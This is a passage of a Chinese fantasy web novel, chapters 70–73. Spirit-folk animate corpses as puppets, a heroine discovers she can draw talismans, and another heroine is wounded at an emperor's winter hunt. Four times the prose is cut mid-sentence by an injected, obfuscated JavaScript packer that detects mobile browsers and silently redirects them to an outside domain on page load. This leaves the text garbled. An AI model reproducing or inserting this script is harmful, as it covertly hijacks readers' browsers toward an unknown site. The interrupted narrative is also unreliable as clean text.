“这也是我们的同伴,”秋梧一手轻轻搭在那树桩人的肩上,给她理了理领口,语气中流露出少有的柔软,“她身受重伤,知道自己命不久矣,主动提出愿意被制成傀儡的。当然,就算她不提,我也会将她制成傀儡。” 红鸾初时答应楚醉君到秋梧这里来刺探消息只当作一件任务,现在却是越发好奇。 “你为什么要做这种傀儡?这种傀儡和点灵出的假人有什么区别?” “最大的区别就在于,”秋梧得意一笑,“点灵操控假人杀人,会反噬到你身上,但操控这种傀儡去杀人,便不会遭受反噬。” 说罢指着另一个同伴,“这几日由他教你傀儡术。” 闻言,那灵族的人动了动手指,静止的傀儡突然像活人一样走动,拿起匕首,做出一个利落的刺出动作。 若是远看,完全看不出他是个尸体,只有近看,能看清他的五官神情,才能看出他表情僵硬,双目无神,不像活人。 又连续好几日,秋梧不见踪影,红鸾只跟那个指定的灵族学习操控傀儡。 点灵术是将自己的灵力渡一部分给已有灵根的他物,而傀儡术是从自身体内抽出五道灵力凝成细线,连接尸体的头与四肢,难点在于要控制五道灵线绵延不断,还要操控尸体行动自如。 傀儡术并不难,难的是制作傀儡。平常的尸体,是不在灵族御物范围内的。据那个教红鸾傀儡术的灵族说,在他们中间,也只有秋梧会制作傀儡。 红鸾练了好几日,勉强能控制傀儡走路不再同手同脚了,秋梧再次出现时,带来一个人,是那个射杀小狼的术士。 “我说话算数,给你亲自报仇的机会。”她道,“这术士现在没有法器与符篆,与平常人族无异,哦,身手比常人略好一些,你正好可以拿来练手,操纵傀儡去捕杀他。” 红鸾讲述到此处停下,楚醉君追问:“你怎么做的?” “自然是把那术士给杀了,”红鸾平静道:“秋梧说的是真的,果然操纵她制作的傀儡杀人不会遭受反噬。” “你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913831|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是狠得下心。” “那术士射杀了小狼,我难道还要可怜他?” 红鸾望向院中的水池,在那里面,已经看不见小狼与芊芊的尸身了,他们的尸骨正在重塑,变成新的生命。 芊芊一家最终也没有说出实情,每每诛邪司审问,都要以女儿被狼妖掳走为由哭诉一回,后来久找不到狼妖,从他们口中也问不出新的消息,诛邪司就放他们一家离开了。 “芊芊一家去了哪里?”红鸾问。 “怎么?你还想找他们算账?” 红鸾沉默良久,道:“芊芊的家人……就算了,何况青崖已经割了她哥哥的舌头。我是不想秋梧把那家人再推到我面前。秋梧让我杀人复仇,除了拉拢,也是试探,试探我是不是真的仇恨人族,毕竟她那边正在酝酿的计划不论是什么,一定是对人族不利的。” 秋梧发明傀儡,一定也与自己的复仇计划有关。 “芊芊一家由诛邪司秘密护送离开京城,我的人也只知道诛邪司把他们送到了哪里,他们自由以后肯定也不敢立即回家,而是找个地方藏起来,秋梧不好找到他们。” 楚醉君望向红鸾:“那个术士是你最想杀的人吗?” 红鸾道:“前几日里是。” 楚醉君眉头微沉,“现在你还想杀谁?” 青崖全程都在一边作画,长山给她研磨,听到这里,也都抬头看着红鸾。 青崖虽封闭灵识,但一切习惯如前,姐姐要她保密的事,她绝不会随口说出。 红鸾给青崖铺上一张新纸,示意她继续作画,然后对楚醉君道:“一个黑心肠的人罢了,你没必要知道,秋梧目前也不知道。但是秋梧的试探还没结束,她还让我自己找到术士家人,她会带我去灭门。” “也许再多杀几人,真灭一次门,就可以得到秋梧的进一步信任,”红鸾道,“若真到了那一步,你需要我如何?” “需谨慎,”长山凛然道,“就算你参与一次灭门,秋梧也不一定能信任你,万一你杀了十人,她又叫你杀百人,千人,良善无辜的人,难道你就一直杀下去?” 楚醉君沉默不语。 “不杀。”青崖突然道。 “我当时说回去考虑一下,”红鸾道,“秋梧的意思很明确,如果我过不了灭门这关,又不能把青崖带去,那么她不就不打算继续让我深入参与了。” 青崖道:“我去。”双眸如点漆,依然没有半点情绪。 “你不许去。”红鸾想也不想地拒绝。 楚醉君道:“青崖已经答应为开天盟做事,早晚要参与,你不能一直护着她,替她做她该做的事。” “她这个样子,如何能去……” “这次就算了,但以后总有需要她做的事,甚至冒着生命危险也要去做的事,开天盟的成员皆是如此,不能因为她有姐姐就例外。” 红鸾本就不愿让青崖涉险,奈何这是青崖自己的决定,她也不好阻止。 “秋梧那边,我会再想办法。” “到此为止吧,”楚醉君略作沉思后作出决定,“不知为什么,我总感觉你会随时倒向秋梧那边,开始大杀特杀,我可不希望她那边多一个你这样的助力。” 楚醉君的话半真半假,红鸾知道他一定有其他打算,却把不让她继续的理由完全推到她身上,这让她不悦。 “姐姐,”青崖突然唤她,“你生气?” 楚醉君美滋滋,一副很高兴自己让红鸾生气的样子,道:“别气,秋梧那边还有最后一件事需要你做。” “什么?”红鸾冷冷发问。 “带我去和她谈谈。” “只是谈谈?” “顺便一起抢个傀儡过来。” 71. 第 71 章 若是正常状态下,这种事情,青崖一定会积极参与,但现在,她只能听青崖嘱咐,在屋里等他们回来。 楚醉君带着鹤少跟在红鸾之后一起去见秋梧,回来的时候,成功抢回一个傀儡。 红鸾面色不快,楚醉君却十分开怀。 青崖问红鸾:“如何?”楚醉君抢答:“很好,硕果累累。” “不怎么样,”红鸾拍掉在打斗过程中身上沾染的灰尘与叶子,“见面谈了一通,秋梧还是我行我素,无法被说服。而且知道我是楚醉君眼线后,还骂了他一顿。” 被戳穿的楚醉君道:“怎么是骂我,明明也骂了你,哦,青崖,也骂了你。说你胆小如鼠,遇事就做缩头乌龟……” 他意在让青崖有所反应,故意忽视红鸾眼神警告,添油加醋,专挑难听的话讲。 “……说你无知又没用,要战力没战力,要内丹没内丹,要胆量也没胆量,护不住自己的小狼弟弟,对同族毫无用处……” “老楚你闭嘴。”长山上前将楚醉君拉到一边。 “没有的事,别听他们乱说。”红鸾走到青崖面前将她身子扭转向自己。 青崖眸中盛满宁静,视线扫过楚醉君,“你和秋梧说的对。” 确认红鸾没有受伤,她就回到书案前,继续在纸上作画。 红鸾转头问:“当时鹤少为什么不试着读取她的记忆?” 她满屋寻找,却找不到鹤少。 鹤少作为一个拥有实体的灵,却仿佛可以随时隐身,需要别人发现他时别人才能发现,需要别人忽略他时,他只要不站在临近或显眼处,就叫人注意不到。 “要读取记忆必须先控制住其人,秋梧灵力深厚,不是那么好捉的,”楚醉君再次抢答,“再说又不是真的敌人,只是行事方法不同的族人,毕竟不能真下死手。有读取记忆的术法,就有抵抗读取记忆的术法,秋梧如此谨慎,又知道我有鹤少,便是抓住她,也一定很难读取她的灵识。” “我试了读取傀儡灵识,”鹤少现身补充,说话语气平坦得与自闭灵识的青崖一模一样,“可惜傀儡已然算是死物,既无灵识也无记忆可读。” “无妨,这次也不算无功而返,”楚醉君指着傀儡,“至少知道她收集尸体好杀人的手法了。她不继续拉拢红鸾,也就不会去找那术士家灭门,别在京城制造惨案,就暂时对我们影响有限。” 长山出于好奇探了一下傀儡的眉心,奇怪得“咦”了一声。 楚醉君:“怎么了?” “这傀儡……体内含有多种剧毒。” “难道他是中毒身亡?” 长山凝眉,手指停留在傀儡眉心,“可看她外表,并无中毒而死的症状,难道是她死后秋梧给她喂的毒?那是为了什么?” 几人将傀儡上上下下探查了一遍,最终也没能弄明白为什么傀儡体内含有剧毒。 “看来傀儡除了用来间接杀人免遭反噬以外,还有其他用处,”楚醉君道,“果然不能掉以轻心,我会让人时刻关注,看秋梧下一步在哪里冒头。” *** 与牡丹分开后,牡丹曾希望来看望红鸾与青崖,楚醉君声称知道荒宅地点的人越少越好,拒绝她来看望,但答应帮她送信。 牡丹与红鸾写信互报平安后,荒宅屋子里多出了许多生活日常用物,都是牡丹给红鸾送来,楚醉君转交的。 有了傀儡,红鸾开始给楚醉君和青崖示范傀儡术,教他们操作傀儡。 楚醉君灵力深厚,第一日就可以操纵傀儡走路了。 鹤少自己悟出灵识系可以直接靠侵入傀儡灵识而操纵傀儡,在他指导下,青崖也在第三日就能够操控傀儡了。 她灵识封闭,没有杂念,比平日运转灵力更加灵活,用灵识操纵傀儡,一旦成功,便得心应手,可以让傀儡随她心意而动,比其他灵族的牵线操控法要敏捷得多,鹤少也同样。 楚醉君练到第五日仍会在操控傀儡时有失误,但青崖与鹤少掌握方法后就一次也没失误过。 “由此可见,傀儡术是灵识系擅长的术法之一,”鹤少道,“或许这才是秋梧想要一个灵识系的缘故。” 楚醉君感慨:“灵类术法繁杂多样不成体系,若能编撰整理,汇集成书,说不定还能激发创造出更多有用的新术法,术士们的术法正因为他们有汤固创建的体系,一直在进步,这一点,我们不如诛邪司。” 现成的傀儡只有一个,为了练习傀儡术,楚醉君几乎日日都来,而他一见到长山出现就不免抱怨:“你怎么又来了?宫里就这么清闲吗?老皇帝找你怎么办?” 长山平日里全当耳旁风,这日却道:“我是来找你的。” 楚醉君:“你可不要撒谎,我有鹤少。鹤少,他说的是真是假?” 隐在角落里的鹤少现出身形:“真。” “哦?”楚醉君有几分意外,“真是找我的?又研制出新的灵药了?” 这些年长山除了炼制人族药物,也尝试炼制灵族药物,每每研制出新药都会让楚醉君先尝一尝。楚醉君这边有灵类同伴受伤,也会叫长山诊治,几年下来,他练就了既能医人也能医灵的本领。 长山道:“我用新药方又炼制出了一种能精进灵力的药,你试一下。” 楚醉君吃下红色药丸,握着拳头呲牙咧嘴,“放了什么东西这么辣?你的药丸味道越来越怪了。” 长山拿出小瓷瓶往楚醉君杯子里倒入了一滴不明药液递给他。 “快喝点这个。” 楚醉君想当然以为这是缓解辛辣味道的,没想到药水比药丸更刺激,喝了一口就要往外吐,长山立刻道:“不许吐,我花了很多珍贵药材熬制十多天才得到这么一点,不能浪费。” 楚醉君只好咕咚一声咽下去,手心施法凝结出一个冰块放到嘴里咔嚓咔嚓猛嚼,好不容易压下辛辣之感,指着长山恨恨道:“我早晚被你给毒死。” 长山不理会他的反应,立刻在诊他眉心灵脉,观察灵脉变化。 “看来不如上次的药管用,你这几日注意,有什么特殊感觉记得记下来告诉我。” “可以,不过万一被毒死了没法记录那可不能怪我。” “有道理,”长山认真思索,“那让鹤少记录,万一你中毒了,一定要把中毒症状记录下来,越详细越好。” 楚醉君:“我的死活无所谓是吗?” “有所谓,你死了我就少了一个试药的。” 楚醉君嘶了一声,饶有兴趣道:“我发现自从青崖来京以后,你特别会一本正经胡说八道了。以前都一板一眼,跟真的百岁老古董一样。哎,药试完了,你该走了。” 长山把手中瓷瓶放回桌上,没有要收拾离开的意思,“我既然来了,自然得打声招呼再走。” “我懂,”楚醉君一双桃花眼里满是调侃,“你最好留下吃吃午饭,饭后同她散散步、说说悄悄话、拉拉手再走?” “你少说风流话,”长山正襟危坐,坦然道:“青崖灵识都还没恢复,我只是同她说说话,没有丝毫逾矩。趁人之危,非君子所为。” 楚醉君摇头:“不乘人之危并非因为你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943359|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君子,而是因为你怕被红鸾烤成熟人。” “我那是敬重红鸾姐,反倒是你,你怕她。” “你哪只眼睛看到我怕她了?你嫌我说话过于直白,还劝我要对她客气点,你忘了?” 长山点头:“你对其他美人不用人劝就很客气,都是阿谀奉承,油嘴滑舌,怎么讨人开心怎么说,只对红鸾姐单刀直入,毫不留情,甚至总是故意戳人肺腑,连带着对青崖也不客气,再进一步,你就要疾言厉色,没事找茬了。明明是合作伙伴,你却是这种态度。你对她,是另一种特殊的怕。” 楚醉君摇折扇的动作戛然而止,笑容凝在脸上。 长山若无其事,低头翻看着青崖的画作。 青崖画的都是山石草木,近日以来画的最多的就是药池中的莲花莲叶,记录下了那颗特殊的莲子抽叶开花的全部过程。 满池碧绿荷叶中,有一对并蒂莲花,正微微盛开。 他看着手中的画,神情忽然变得严肃。 “老楚,你可有带术士的符篆?” 楚醉君尚在被戳破心事的复杂情愫中,也没问为什么,听话木偶一般从乾坤袋中拿出一叠符篆拍在桌上。 诛邪司术士是对妖最有威胁的存在,他们的手法楚醉君自然要了解全面,好做防备,所以术士的符篆法器他都尽可能搜集研究,随身携带。 长山挑出一张画,极简的线条勾勒出一棵枯树的模样,与符篆放在一起比对。 “青崖画的都是植物,而符纸上的图案是文字,所以以前并没有把这两样东西联系在一起。但现在仔细一看……你看出他们有什么共同点了吗?” 楚醉君收敛心神,低头凝视画与符文,道:“有趣,她这幅画和符文一样,都是一笔成型。” 他从手边一沓画作中随手抽出一张,那一张则是寻常的绘画方式,画的是并蒂莲的花苞,“这幅画就是正常的画法。” 长山沉吟:“我观察了好几日,作画既是她的消遣,也是她修炼的方式之一,她会画寻常的画,但其中总会有这种一笔成型的画作。我有些好奇,这种与符文画法类似的笔法,难道只是巧合吗?” 楚醉君想了想道:“你怀疑她也能画符?” “不确定,但总感觉有某种联系。” “有没有联系让他一试便知,我正好有空白的符纸。” 长山抬头望向窗外,“红鸾姐正与青崖一起练习傀儡术,等她们休息时,让青崖画一张符试试。” 楚醉君不服地哼了一声,“你知不知道我和红鸾年纪相仿?怎么你称她为‘姐’,却不称我为‘哥’?” 长山整理着画纸,淡淡道:“楚怀义比你小一个月,你还称他为‘父’。我是百岁老人,你至少该称我为祖父。” 两人交谈一阵,终于听到外面红鸾与青崖停止修习,往屋里走来,他们双双站起迎接。 长山扯扯衣领抖抖袖子,余光瞧到楚醉君也不自觉地挺直后背,将折扇抬了一抬。 青崖进屋后径直来到桌前,许是渴了,拿起桌上自己的水杯,猛灌下一口水,谁知惊天动地地咳了起来。 她咳得面色通红,眼中含泪,红鸾连忙上前拍她的后背。 “怎么了?喝水呛着了吗?” 长山端起杯子放在鼻下一闻,里面有他刚才让楚醉君尝试的药的味道,定是楚醉君趁他不备,把药加到了青崖的杯子里。 楚醉君云淡风轻对红鸾道:“这是长山今天给青崖配的药,味道有点怪。不是我说呀长山,你怎么能把这么难喝的药给青崖喝呢?” 72. 第 72 章 长山没好气道:“那是给你吃的药,你什么时候放在青崖杯子里的?” “哎,”楚醉君道,“不要血口喷人。” 红鸾一听就知是怎么回事,双指一并,指向楚醉君,楚醉君手中的扇子呼得一声燃烧起来,他惊呼一声,松开扇子,扇子落地之前就化为一缕灰烬。 青崖勉强止住咳嗽,奈何那药实在过于辛辣,她仍吸气不止,红鸾重新倒了杯水,递到楚醉君面前,道:“冰。” 楚醉君把茶中的水变成冰水混合的状态,青崖喝下几口,终于恢复正常。 “放心,不是有害的药,就是味道不好,”楚醉君道,“能让她有点反应也不是坏事,说不定换个味道更厉害的药,都能把她灵识给刺激恢复了呢。” 红鸾道:“我又不急着让她恢复灵识,你别想馊主意刺激她。” “你是不是觉得让她维持这样的状态更好,免得醒来伤心?正好也不用涉险帮我做事?” “是又如何。” “她不能帮我做事倒是无妨,反正现在局已布好,一切都按部就班,稳定发展,暂时缺她一个也没太大影响。”楚醉君道,“可她一伤心就封闭灵识,这般脆弱怎么行?现在她有你保护,但你毕竟难以时时在她身边,若你不在时,她遇到什么事也只会逃避,灵识一闭连自保的能力都没有,难道是好事吗?” 长山一看楚醉君又在故意发表犀利言辞,打岔道:“红鸾姐,我们有一个新发现,可否引导青崖画符试试?” 他说明青崖画作与符文笔法相似之事,让青崖照着一张定身符上的符文在空白符纸上画符,画完又让青崖将符贴在楚醉君胸前。 术士使用的定身符可以让妖暂时失去行动力,至于定身多久,除了与妖的灵力多少有关,也与画符人的功力深浅息息相关。 楚醉君身上贴着青崖画的定身符,走了几步,活动自如。 “没用?”长山道,“看来是我想多了,笔法相似也可能只是一种巧合。” “不,有用。” 楚醉君手指桌上的茶杯,将里面的水变成冰,结冰所用时间明显比先前要长。 “虽然未被定身,但是我体内的灵力运行变得困难了。” 在他施法同时,他胸前符篆上的字开始燃烧起来,术士的符篆生效也会如此,不过术士的符篆通常是黑色火焰,而青崖的符篆是蓝色火焰。 “有意思。”楚醉君摸着下巴道。 随后他们让青崖尝试仿画其他符篆,但又都毫无效果了。 把楚醉君手上现有的符篆都仿过一遍以后,青崖百无聊赖,在剩余的空白符纸上随意画了起来。 众人百思不得其解,拿着她画的符与术士的符反复对比, “怎么回事,第一张明明生效了?”楚醉君道。 “是不是你的错觉。”红鸾道。 “不会的,我方才给他诊脉,确实灵力处于凝滞状态。”长山道。 三人分析之际,青崖那方嗤地一声点燃了一朵火焰。 是红鸾渡给她的火系灵力,平时她可以用这点灵力点燃一朵掌心焰。此刻,那焰火不是悬浮在她的掌心,而是浮在一张符篆上。 符篆上的火焰图案一笔而成,正是青崖方才所画。 长山再次探了青崖的眉心灵脉,道:“她的灵脉既与妖不同,也与人不同,也许,她不是能仿制术士的符篆,而是自己本身就能画符。” 经过多番测试,众人终于确定,青崖所画的符,是可以储存灵族力量的符。 红鸾将火系灵力渡给她,她再将灵力存入符篆,就制成了一张火灵符。 她自身能保留的它系灵力有限,符篆能保留的灵力的上限却要高出许多,而且没有类别限制,楚醉君的水系能力也同样能用符篆保留。 *** 那日之后,楚醉君每每来访荒宅,总会带一个能力不同的灵族,用以给青崖制作符篆。 遗憾的是,她制作的符篆,只有她自己能使用。 以及隐藏在京城的灵族十分有限,不到一个月,楚醉君就把自己身边方便带来见青崖的同族都带来了一遍。 因为傀儡术也学的差不多了,他开始很少到荒宅这边来访,若来必定有事,比如这日,他带来了裴浩。 裴浩是蒙着眼睛被带来的,因为到底有多少传送点,地下密道是怎样的规模分布,知道的人越少越好。 每个人都只知道自己必要使用的传送点,除了楚醉君。 楚醉君是很不情愿让人族多知道一个传送点和秘密藏身处的,就算是太子哲远最信任的人也不行,可裴浩非说有重要的事请教青崖,必须面谈,不能让人传话。 “门派机密,不可外传。”裴浩如是说。 他见到青崖抱拳就拜:“小师父!” 青崖平静地把他拉起。 这是五年前分别后,他们在京城的第二次见面。 裴浩已从楚醉君那里了解了青崖当前处于封闭灵识的状态,看到青崖与从前大相径庭的模样,又是紧张又是担忧。 “小师父?”他唤,“你还认得我吧?” “认得,”青崖道:“剑术大有长进,阿远可好?” “他好,他还让我转告你,他受伤托病这些日子,总躺着吃喝,都变胖了。” 青崖语气一板一眼:“他安慰我。” 裴浩以要请教功夫,涉及门派机密,不可让外人观看为由,将青崖请到屋中单独谈话。 青崖却想不起自己与裴浩有什么门派可言,就连在槐谷传授给裴浩的“心法”,也不过是自己随性拼凑而成的。 “青槐剑派。”裴浩大大方方解释,“我自封的,当然啦,你若不喜欢这个名字,可以再改,我本想叫‘青崖剑派’,但怕泄露你的名字不安全,所以用了‘槐谷’的‘槐’字。” 青崖判断这是无关紧要的事,便简单哦了一声。 “小师父,你还记得你传我的心法吧?” 青崖道:“骗你的心法。” “我知道,”裴浩道,“但是我按照你那时说的方法练习,总能特别专注,所以每到心烦气躁时,还是会默想口诀,打坐冥想,后来练剑时也会靠心法让自己专一,久而久之,竟有一些意外收获,我给你演示一下。” 裴浩点燃一支蜡烛,放在屋子最里端,他带着青崖走出屋子,穿过连廊,来到连廊末端,距离蜡烛足有十丈远,随后抽出剑来,挽了个剑花,隔空向着烛火虚砍一剑,烛火一晃,熄灭。 “小师父,你看到了吗?” “蜡烛熄灭?” “对!蜡烛灭了!” “那又如何?” 裴浩啧了一声,“这就是传说中的‘剑气’呀!” 青崖默然:“这难道不是一阵风?” “不是不是,”裴浩摇头,“这一定就是传说中的剑气。” 青崖重新点燃蜡烛,也走到裴浩的位置,空手一挥,烛火即灭。 “我没有剑,也能隔空熄灭蜡烛。这也叫剑气吗?” 裴浩点头:“对,因为小师父你功力深厚,所以没有剑也能挥出剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969236|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。” “……”青崖:“就算是剑气,有什么用?” 裴浩一脸神往,道:“江湖传闻,剑气只要足够凌厉,隔空就能对人对物造成伤害,那岂不是很厉害的境界?” 青崖点燃蜡烛,这次使用裴浩的剑,用和裴浩同样的姿势,瞄准蜡烛半腰,全力砍出一剑。 烛火熄灭,两人上前检查蜡烛,蜡烛毫无损伤。 裴浩拿着蜡烛翻来覆去,不愿相信青崖的“剑气”也伤不了区区一支蜡烛。 “你想多了,只是一阵风。”青崖插剑回鞘。 “可是这个距离,我让很多人试过,同样只拿一把剑,还没其他人能隔空熄灭蜡烛。我有一名大力士手下,身材像山一样壮实,掰手腕没人能掰得过他,就算是他,全力挥出一剑,远处的蜡烛照样一动不动。” “那是他们不会使力。”青崖道。 “不对,不对……你的身法如此厉害,教给我的东西一定不同寻常。” 裴浩拿着蜡烛,皱眉踱步片刻,恍然大悟:“我知道了!因为小师父你平日修炼从不用剑,本就不是剑修,没有朝着那个方向修行,所以凝不出剑气。” 青崖:“没有剑气,是风。” 裴浩:“为什么别人挥不出这么远的风?” 青崖:“你挥出风,也只能吹灭蜡烛。” 裴浩:“我是修行不够,所以只能熄灭蜡烛,却砍不伤蜡烛。” “那我……” “你是因为没有朝剑气方面修炼!” “是风……” “为什么别人挥不出这么远的风?” …… 饶是青崖没有情绪,此时也十分无语了。 “小师父,”裴浩满怀希望道,“你把心法口诀给我时,曾说过给我的那部分是入门心法,是不是意味着你还有更多心法?” 现在,就是再给他重复解释当时的口诀是为了骗他多静坐休息而临时编出来的,恐怕他也听不进去。 青崖疲累道:“跟我来。” 她带裴浩来到有笔墨纸砚的屋子里,拿起笔开始默写。 楚醉君和红鸾也正在那里,楚醉君在给红鸾讲解一张地图。 自从发现一些口诀能帮自己吸收、运转灵力后,青崖开始有意尝试不同的组合搭配,每每遇到格外有效的字句组合就记录下来。满一年,她就将这一年累积下来的字句朝着更顺畅方向整理编写一番,一年成就一篇,五年下来,倒真累积下五篇新的口诀,每篇约有一二百字。 青崖默写完,裴浩简直欣喜若狂,道:“谢小师父!我一定练成神功!将来门派壮大,你可得承认我大弟子的地位!” 他的话吸引了楚醉君的注意,问道:“你拿到了什么宝贝,这么激动?” “武功秘籍,”裴浩将写着心法的纸捂在怀里,“绝不外传。” 青崖不想再跟裴浩讨论这东西是不是秘籍的事,转问红鸾:“在看什么地图。” 裴浩瞟了一眼就道:“是我送来的猎宫地图。” “又到了每年一度老皇帝冬猎的时候,”楚醉君道,“每次这种时候必定有个别心怀仇恨与侥幸的灵族前去刺杀皇帝。皇帝的死活我倒是无所谓,他可以死,但不能是被妖杀死的。为了共存计划顺利推行,需在猎宫外围安排巡逻,阻止个别飞蛾扑火的妖。” 红鸾是飞行系,因此楚醉君安排她这次与其他飞行系一起负责空中巡视,正好借此机会可以认认开天盟里其他同伴。 这本是个简单任务,红鸾却意外地受了伤。 73. 第 73 章 楚怀义作为乐府的官员,按制去冬猎场上辅助准备助兴的舞乐。 冬猎巡逻,楚醉君只在背后做安排,自己没有亲自出马。 红鸾是在冬猎第三日,猎场上正举行庆功宴时受伤的,她一受伤就被开天盟的灵族带离猎场,送回到楚宅。 开天盟的成员并非个个都知道国师与开天盟的关系,但无论人族还是灵族都知道,如果受了伤,到楚醉君府邸,就能得到最好的医治。 他们其中不少都曾被要求蒙上眼睛,接受一个神秘药师的诊治,有时还会被找去试药。 那位药师赠与的灵药,曾数次挽救过他们。 无论受多严重的伤,只要能及时接受那个神秘药师的诊治,就都还有一线希望;反之,如果那位神秘药师也束手无策,那么普天之下,再无人能救。 长山接到消息从宫里匆匆赶来时,红鸾正以红鸟形态被楚醉君托着。 她并没有完全失去意识,但浑身无法动弹。 楚醉君渡来的灵力带有微凉的泽润,流淌过她受伤后过于炙热的内丹。 “这是红鸾姐?”长山指着红鸟问。 “是,”楚醉君道:“让她化作红鸟在猎宫上空巡逻,谁知她过于靠近冬猎队伍,不小心落在了一棵贴有符篆的树上,那符是汤固亲自画的,威力非同寻常,红鸾当场昏倒跌落树下,还好她的搭档及时发现,在汤固前来检查之前把她带走了。” “把她放下,我看看。” 长山伸手探红鸾眉心,紧皱的眉头缓缓舒展,道:“还好,没什么大碍,把我那定神丹给她服下一粒,休养几日即可。” “那就好,她先前醒来时交代过,别告诉青崖,免得她担心。我让鹤少照顾她在府上休养几日。” “让鹤少照顾?”长山问,“你呢?这是你的府邸,你为什么不照顾她?” “我得去猎宫那边。汤固察觉有妖在猎宫附近,我去通知让灵族都撤远一点。” “这种事让人传个信过去不就行了?你是想躲出去吧?” 楚醉君顿了一下,看向红鸾,问:“她真的没事?” “你很关心她是不是?” 他们的对话红鸾听得清清楚楚。 楚醉君没有回答,转身就走。 长山跟随几步,在他身后道:“你到底是不是对她有心?” “我是没有未来的人,动不动心又能如何。” 从声音可以听出,他没回头,是背向而答的。 昏暗密道里灵光一闪,楚醉君开启了传送阵,光芒熄灭后,就只有长山一人的动静了。 红鸾自知伤势不重,汤固的符篆虽然厉害,但她是隔着一段距离不小心触发的,服下长山的丹药后,内丹灼热很快散去,身体也渐渐恢复正常。 在楚宅将养三日,算时间皇帝冬猎就要结束,到了之前告诉青崖她会回去的日子,她就离开了楚宅。 伤势恢复的很好,青崖一点也没发觉。 按理说此时不宜喝酒,可她回来第一夜失眠太久,辗转许久,还是拎着酒壶走到凉亭里,自斟自酌。 才喝下第一杯,外面淅淅沥沥下起了雨。 寒冬时节,要下也应当下雪,这雨怕不是天然的雨。 红鸾将第二杯酒一饮而尽,果不其然,在夜雨中看到了楚醉君。 “你的伤好些了?”楚醉君上前问道。 他没有打伞,身上却一滴雨也未沾。 “好了。”红鸾淡淡开口。 红鸾今日鬼使神差地换下了男装,穿的是平日最爱的红裙,在寒冬的夜里,如同一朵火焰。 楚醉君从出现到走进亭子,一路都没移开眼睛,他没有寒暄,也拿起一只杯子,自己倒了杯酒。 沉默半晌,红鸾率先开口问道:“为什么说是自己没有未来的人?” “世人皆以为妖丹可让人长生,这个误会若不解开,便是取消《捉妖令》也是治标不治本,”楚醉君道,“人族为了长生,照样会觊觎妖丹。” 红鸾点头:“必须要向天下证明,妖丹是无法被人族吸收的,所以,需要一次公开的剖丹换丹,整个过程必须万众瞩目,必须有天下信得过的人全程监督,还需要有一个甘心献丹的灵族。” 她看向楚醉君。 “你想打算做那个献丹的牺牲者?” “对。在此之前,已有过另一个同族牺牲者,他献出内丹,让长山做过测试,”楚醉君道,“他让我们确定了人族的确不能吸收妖丹。下一次测试,便是让天下人亲眼看到、知道这件事。” “哦,”红鸾唇角微扬,“真伟大啊。” “灵族中愿意献丹者众多,我只不过是其中之一,再说,”楚醉君侧头拿起酒杯,却没有喝,似乎在欣赏酒杯,“我是为了赎罪。” 红鸾:“那倒是更能理解。” 楚醉君挑了一下眉,“你怎么不问我赎什么罪?” 红鸾眼底透出疲倦:“因为这不是你今夜想谈的事。” 院中的落雨,不知何时变成了落雪。无论雨雪,都是楚醉君放出的触角,雨雪范围内,若有人走动、靠近,他必会知晓。 白雪在地上铺了一层薄毯,明朗月色与纷纷落雪罕见地同时存在于这一庭院的天空下。 红鸾起身去接了一片雪花,道:“你这次来,是想审问我为什么在冬猎场出现那么愚蠢的失误,碰到符篆吧?” “‘审问’这个词过于严苛了,你应当知道,开天盟中没有尊卑之别,不搞人族皇族那一套,只是各自分工不同而已。但我确实好奇,也需要知道,你为什么会失误?” 每个有经验的灵族都知道与术士、符篆该有的安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995280|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离,何况在被派去巡逻前,已经把巡逻区域和汤固的布下的防守范围都仔细交代过,甚至给每人都发了标注明确的地图。 据送红鸾回来的族人说,红鸾巡逻时就靠得太近,越过了安全线,还落脚在标注了是危险区域的范围内。 “你也没造成什么后果,我不是问罪,的确只是好奇,”楚醉君盯着红鸾,“这不像你会犯的错,你为什么要那么靠近冬猎队伍?” 红鸾往他身后扫了一眼,他道:“我没带鹤少,自己来的。” 雪花在指尖融化,红鸾想起了那日在冬猎场上看到的人。 那个与自己相恋过三年的人。 